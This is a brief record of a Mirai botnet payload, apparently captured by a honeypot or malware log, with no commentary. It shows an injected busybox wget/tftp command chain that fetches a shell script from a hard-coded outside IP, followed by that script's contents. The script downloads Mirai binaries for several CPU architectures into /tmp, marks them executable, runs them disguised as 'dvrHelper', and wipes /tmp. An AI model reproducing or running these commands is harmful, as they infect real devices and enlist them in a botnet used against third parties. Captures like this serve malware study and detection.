MIRAI BOTNET PAYLOAD

[122.2.249.42:4532] busybox wget || wget http://173.242.118.143/wbin.sh; busybox tftp || tftp -g -r 173.242.118.143 tbin1.sh; sh tbin1.sh || sh wbin.sh

[~] malware $ cat wbin.sh
ulimit -n 712
cd /tmp;wget http://173.242.118.143/mirai.mips -O - > dvrHelper; /bin/busybox chmod 777 dvrHelper;./dvrHelper
cd /tmp;wget http://173.242.118.143/mirai.x86 -O - > dvrHelper; /bin/busybox chmod 777 dvrHelper;./dvrHelper
cd /tmp;wget http://173.242.118.143/mirai.arm7 -O - > dvrHelper; /bin/busybox chmod 777 dvrHelper;./dvrHelper
cd /tmp;wget http://173.242.118.143/mirai.sh4 -O - > dvrHelper; /bin/busybox chmod 777 dvrHelper;./dvrHelper
cd /tmp;wget http://173.242.118.143/mirai.mpsl -O - > dvrHelper; /bin/busybox chmod 777 dvrHelper;./dvrHelper
cd /tmp;wget http://173.242.118.143/mirai.arm -O - > dvrHelper; /bin/busybox chmod 777 dvrHelper;./dvrHelper
rm -rf /tmp/*